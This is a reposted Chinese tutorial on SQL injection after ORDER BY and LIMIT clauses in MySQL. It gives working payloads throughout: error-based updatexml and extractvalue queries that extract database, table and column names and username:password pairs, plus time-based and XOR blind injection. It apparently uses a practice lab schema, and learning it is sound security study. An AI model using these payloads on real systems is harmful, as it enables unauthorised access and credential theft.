栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

order by、limit注入

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

order by、limit注入

目录

前言

order by

介绍

方法

1.有回显的报错注入

2.盲注

limit

介绍

方法

1.order by与limit结合的报错注入(通常在5.7版本之前与union联合查询结合使用)

2.limit与procedure analyse()函数来实现错误注入


前言
  • 在学习sql注入的过程中我们不可避免要了解许多sql注入的相关注入语句,下面将介绍其中的两种注入方法order by、limit

order by

介绍
  • 注入点出现在oder by后面即可称为order by 注入

方法

1.有回显的报错注入

数据库一般用法

#数据库中的使用方法
select *from 表名/库名.表名 order by id asc/desc;

  • 当order by后的参数可控时可能会存在注入点,举个例子我们通过错误注入的方法得到我们需要的数据

获取数据库当前用户

select * from security.users order by id and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

获取数据库个数

select * from users order by id and (updatexml(1,(concat(0x7e,(select count(*) from information_schema.schemata),0x7e)),1));

获取当前数据库库名

select * from security.users order by id and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

获取所有数据库库名(order by和limit的使用)

select * from security.users order by id and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1));

 

获取数据库表名

#单个注入出来
select *from users order by id and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1));
#一次注入出来
select *from users order by id and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x7e),1));

  

获取数据库表数量

select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema='security'),0x7e),1));

 

获取数据库表的字段名

select *from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1));

获取数据库表数据(结合limit)

#不完整
select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1));
#一行一行的注入出结果(推荐)
select * from users order by id and(updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1));

2.盲注

2.1if语句时间盲注

  • 表达式为true时,正常时间显示
  • 表达式false时,会延迟一段时间显示
  • 延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的
  • 延迟时间=sleep(time)的秒数*所查询数据条数
#直接回显
select * from users order by if(1=1,1,sleep(time));
#延迟回显
select * from users order by if(1=2,1,sleep(time));

2.2异或盲注

  • 如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0
  • 0异或任何数值都还是这个值的本身
  • regexp '^n' ,^n量词匹配任何开头为 n 的字符串
#这里0异或id结果还是id,所以会按照默认的升序显示
select * from users order by id ^0;
#依据上面的知识点,我们可以让id异或1,结果不会是id也就不会按照默认的升序排列
select * from users order by id ^1;
#依照这个思路那么我们是否可以通过判断数据排序的变化判断我们注入语句是否返回1
select * from users order by id ^(select(select version()) regexp '^5');

RegExp ^ 量词 | 菜鸟教程JavaScript RegExp ^ 量词 JavaSript RegExp 对象 定义和用法 ^n量词匹配任何开头为 n 的字符串。 语法 new RegExp('^n') 或者 /^n/ 浏览器支持 所有主要浏览器都支持 ^ 量词。 实例 实例 对字符串开头的 'Is' 进行全局搜索: var str='Is this his'; var p..https://www.runoob.com/jsref/jsref-regexp-ncaret.htmlmysql正则表达式(Regexp)的示例详解-木庄网络博客MySQL支持基于正则表达式和REGEXP运算符的另一种模式匹配操作。(相关推荐:《MySQL教程》)1.它提供了强大而灵活的模式匹配,可以帮助我们为数据库系统实现power搜索实用程序。2.REGEXP是执行正则表达式模式匹配时使用的运算符。3.RLIKE是同义词。它还支持许多元字符,这些元字符在执行模式匹配时可以提供更大的灵活性和控制。4.反斜杠用作转义字符。如果使用了双反斜杠,则仅在模式匹配中考虑。5.不区分大小写。PATTERN模式匹配的是什么*在它之前的零个或多个字符串实例+在它之前的一个或多个http://www.muzhuangnet.com/show/45484.html

 

limit 介绍
  • 注入点出现在limit后面即可称为limit注入
方法

1.order by与limit结合的报错注入(通常在5.7版本之前与union联合查询结合使用)
#正常查询
select*from users order by id limit 0,1;

2.limit与procedure analyse()函数来实现错误注入
  • PROCEDURE ANALYSE()自 MySQL 5.7.18 起已弃用,并在 MySQL 8.0 中删除

MySQL :: MySQL 5.7 Reference Manual :: 8.4.2.4 Using PROCEDURE ANALYSEhttps://dev.mysql.com/doc/refman/5.7/en/procedure-analyse.html

#现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()函数来实现错误注入,这个函数下有ANALYSE支持两个参数,首先尝试一下默认两个参数
select * from users order by id limit 0,1 procedure analyse(1,1);

#limit结合procedure analyse()报错注入
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));
特别注意:在5.7.26中我执行时会报错原因是官方在mysql5.7.18版本起就将它弃用了

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1039282.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号